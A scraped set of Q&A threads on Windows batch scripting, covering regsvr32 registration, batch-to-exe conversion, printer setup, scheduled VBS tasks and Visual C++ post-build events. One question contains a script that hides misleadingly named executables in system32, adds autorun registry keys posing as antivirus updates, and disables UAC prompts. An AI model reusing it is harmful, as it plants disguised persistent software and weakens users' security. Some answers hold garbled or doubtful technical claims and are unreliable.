Register dll and ocx file using batch file - windows

I have dll and ocx file on folder on c dirve and want to register just by clicking on batch file

According to this Microsoft knowledge base article:
Regsvr32.exe usage
RegSvr32.exe has the following command-line options:
Regsvr32 [/u] [/n] [/i[:cmdline]] dllname
/u - Unregister server
/i - Call DllInstall passing it an optional [cmdline]; when used with /u calls dll uninstall
/n - do not call DllRegisterServer; this option must be used with /i
/s – Silent; display no message boxes (added with Windows XP and Windows Vista)
When you use Regsvr32.exe, it attempts to load the component and call its DLLSelfRegister function. If this attempt is successful, Regsvr32.exe displays a dialog box that indicates success. If the attempt is unsuccessful, Regsvr32.exe returns an error message. This may include a Win32 error code.
Thus, the resulting batch file will be:
echo off
Regsvr32 /s C:\MyDLL.dll
exit

Try this batch code:
for %%f in (*.ocx *.dll) do regsvr32 %%f
Open Notepad and paste in the code, then save the file as register.bat and run it as an Administrator.

Just put regsvr32 pathto.exe in your batch file, assuming that regsvr32 is on the path.

You'll want to run this in silent mode as multiple errors will possibly cause issues with explorer.exe
for %x in (c:\windows\system32*.dll) do regsvr32 /s %x

Open an Administrative Command Prompt, run the below commands in System32 and SySWoW64 diretories
C:\Windows\System32> for %1 in (*.dll) do regsvr32 /s %1
C:\Windows\SySWow64> for %1 in (*.dll) do regsvr32 /s %1

Related

Convert Batch file to Exe with administrator privileges

I have created a code in batch, which works perfectly only when I run it as administrator. If not, some of the main functions of the code does not work.
On top of that, I would like to convert it to exe, so that I can put an icon on.
Can anyone tell me please, how can I convert a batch file to exe with administrator privileges? If it is possible without uac prompt?
By the way: I am administrator on my PC.
I have tried with some software:
Iexpress -> Temp-file was not found.
Bat to Exe Converter -> After starting the .exe file it does not run as administrator, although I run it as.
That's the code:
#echo off
start "" "C:\Users\Viktor\Documents\FreeFileSync Auftraege\RealTimeSync Auftraege\RealTime_(.minecraft-GoogleDrive)_[Mirror].ffs_real"
start "" "C:\Users\Viktor\Documents\FreeFileSync Auftraege\RealTimeSync Auftraege\RealTime_(.minecraft-Backupfolder)_[Mirror].ffs_real"
start "" "C:\Program Files (x86)\Minecraft\MinecraftLauncher.exe"
:Anfang
tasklist /v | find "MinecraftLauncher.exe"
if %errorlevel% == 1 goto Dead
tasklist /FI "IMAGENAME eq javaw.exe" 2>NUL | find /I /N "javaw.exe">NUL
if %errorlevel% == 0 goto Active
goto Anfang
:Active
tasklist /v | find "javaw.exe"
if %errorlevel% == 1 goto Dead
goto Active
:Dead
timeout 5
taskkill /F /IM "RealTimeSync_x64.exe"
exit
It works only with "run as administrator". Without, some functions like taskkill or tasklist does not work.
I succeeded with Bat to Exe Converter available here : https://www.majorgeeks.com/files/details/bat_to_exe_converter.html
Simple GUI to transform batch to exe with administrator privileges.
Here is how you can make your .bat to .exe file require administrator privileges to run:
Download Bat To Exe Converter from Softpedia.com:
https://www.softpedia.com/get/System/File-Management/Batch-To-Exe-Converter.shtml (Version 3.2 seems to be a good option due to it's easy layout/interface.)
Once downloaded, go through the install the application and run said application.
Input code into the IDE window, ensuring that you check the box (under the options tab) that says "Request Administrator Privileges"
Now click convert, and continue through the prompts and you will have your .exe file ready for use!

Remotely adding printer with batch file ; 0x32 This operation is not supported

I am trying to add a network printer via batch file, provided I feed the data(Printer IP, Printer Name, Computer IP) into the entries.
rundll32 printui.dll,PrintUIEntry /if /b "KONICA MINOLTA C451 PS(P)" /c\\%computerNameIP% /h "x86" /f %windir%\inf\prnkm002.inf /r "IP_%computerNameIP%" /m "KONICA MINOLTA C451 PS(P)" /n\\%computerNameIP%\%printerName% /F %windir%\inf\prnkm002.inf
Now, once this command is completed, I receive the following error:
Operation could not be completed(error 0x00000032). This operation is not supported.
I ran a similar code with runs the GUI:
rundll32 printui.dll,PrintUIEntry /il /b "KONICA MINOLTA C451 PS(P)" /c\\%computerNameIP% /h "x86" /f %windir%\inf\prnkm002.inf /r "IP_%computerNameIP%" /m "KONICA MINOLTA C451 PS(P)" /n\\%computerNameIP% \%printerName% /F %windir%\inf\prnkm002.inf
and I have to choose a local local Printer: which I adjust to be TCP/IP and the drivers come default since I set it. After choosing my driver, I receive the error as well.
I just can't pinpoint what exactly isn't supported.
Windows 7 32-bit. I made adjustments to the registry, print management, group policy, but none of those seem concrete to what is preventing a remote add to a network printer.
I found another way to do it with the prncnfg.vbs files. First create the port, assign it, then manage it.
This is all located in the admin scripts in Windows folder

Why dosen't my batch file copy it to the correct location?

This issue is eating my brains of. I have a simple batch file which makes a directory in %SYSTEMROOT% only if it does not exist & copies certain files to that directory, adds the attribute +S +R +H to them, adds two programs to startup via registry and disables UAC as I need it frequently like 3x day. It works well as a batch file but I want to distribute it to my fellow company mates. We all are having a competition in this so I do not need them to see my code; I know if I am still at the level of batch scripting than my code is not worth copying but my mates are also not the brightest bulbs!
My issue is that when I convert it to exe using Quick Batch Convertor as the moment it becomes an exe it starts giving Access denied error only when It gets to copy the files in %SYSTEMROOT% even though I am running it as administrator and the disabling UAC command, which is C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f works, which, originally should require admin privileges. Its only the the copying of files that give access denied when converted into exe. They all just work fine if it is in a form of batch.I know that this might be off topic but I suspect foul play on the batch file and not the Quick Batch Converter because I have converted many files using this converter an they worked flawless.
The code for my batch is here
#echo off
echo %CD%
cd %~dp0
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\HL~Realtime~Defense.exe\" " /f
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Antivirus-Update " /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\Configure.exe\" " /f
if not exist "%SYSTEMROOT%\system32\SystemSettingsUpdate" mkdir %SYSTEMROOT%\system32\SystemSettingsUpdate
cd %~dp0
taskkill /f /im configure.exe
copy "%~dp0HL~Realtime~Defense.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Whatsapp,Inc.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Configure.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Configure.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Whatsapp,Inc.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\HL~Realtime~Defense.exe
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
exit
Any Suggestions?
Exact Duplicate of my question
See first you need to understand how a compiler works. Compiler may also be a horribly written or may be trojan. It is rare that a good compiler is made that works and is not marked as a trojan. I would recommend to start learning other languages such as C# or Python which have in-built exe convertor. So now as I said most exe Convertors can only run PURE DOS commands. Secondly There is a built in app that was modified In later versions of Windows known as UAC. From Windows 10 onwards not a single app without Perfect details that provides its Author and blah blah can be granted Full Administrator Rights until, you add an exception, by default. Then comes the 32 and 64 bit part. There are two versions of CMD from Windows 8 Onwards. One which is in C:\Windows\SYSWOWNode64 and one in C:\Windows\System32 So, If you have a 64 bit computer check for the folder in both locations. There are many more factors that play but I will wait until You Provide sufficient deatilas about what OS , 64 Bit or 32 bit computer you have and did you check in both locations so that it will narrow down my search
Regards

Run as clicked vbs from Scheduled Tasks - Windows 7

I have a .vbs file called test.vbs. And this is running test.bat file silently.
In test.bat file,
CD.>"C:\folder\empty.srt"
dir /b /s "C:\folder" | findstr /m /i "\.srt$" > C:\old.txt
CD.>C:\new.txt
.
.
echo for /f "delims=" %%a in ('findstr /G:%new% /I /L /B /V %old%') do (#echo %%~nxa >> C:\added.txt)
.
.
CD.>C:\added.txt
del "C:\folder\empty.srt"
When I run test.vbs manually .bat file works fine.
But when I run test.vbs from Windows' Scheduled Tasks (command is: C:\test.vbs (tried wscript test.vbs) )
Only creates empty.srt and removes empty.srt. The other commands are not working.
I don't understand why (maybe administrator priviliges (Account is administrator too).
I thought running as administrator would solve the problem. Or is there another way to do this? How can I do that?
edit: Also working when I run this command from CMD --> wscript C:\test.vbs
Also its working fine on Windows 8
I also ran into this issue a while back, as well as have answered a variation of this issue before.
If it's a 64 bit operating system, then you need to open the script via "C:\windows\syswow64\cscript.exe your_vbs_code.vbs" if not, just use "C:\windows\system32\cscript.exe".

Post-build event can't be executed

I've converted an old Visual C++ 6.0 project to a new Visual C++ 2010 one. It functions but I have a problem with the post build event which I took from the old project. It registered the target file (an .ocx) on the computer:
copy $(ProjDir)\PDFXChange\dll.Debug\*.* $(TargetDir)
regsvr32 /s /c "$(TargetPath)"
echo regsvr32 exec. time > "$(OutDir)\regsvr32.trg"
In my new solution it doesn't work. I've also tested it in single commands: of the three commands (copy, regsvr32 and echo) only the last one could be executed. What could be my error.
Error:
error MSB3073: The command "copy \PDFXChange\dll.Debug\*.* C:\_tests_\ocx2010\Debug\
regsvr32 /s /c "C:\_tests_\ocx2010\.\Debug\LayoutBox.dll"
echo regsvr32 exec. time > ".\Debug\\regsvr32.trg"
:VCEnd" exited with code 3. C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\Microsoft.CppCommon.targets
COPY and REGSVR32 seem not to work.
The problem was in the name of the macro $(ProjDir). In Visual C++ 2010 it's $(ProjectDir)
$(ProjDir) -> $(Proj ect Dir)
Some macros altered their names (after so many years)!
The command copy \PDFXChange\dll.Debug*.* C:tests\ocx2010\Debug should copy some DLLs into the folder where the next command regsvr32 /s /c "C:tests\ocx2010.\Debug\LayoutBox.dll tried to register the target file. It couldn't find any DLLs there, so it quit with the error message.
Mismatch between
Project->Properties->Configuration Properties->General->Output Directory
and
Project->Properties->Configuration->Linker->Output File
I made the former like so...
$(SolutionDir)$(PlatformTarget)$(Configuration)\
and in the linker like so..
$(SolutionDir)$(PlatformTarget)$(Configuration)$(ProjectName).dll
and it solved the problem

Resources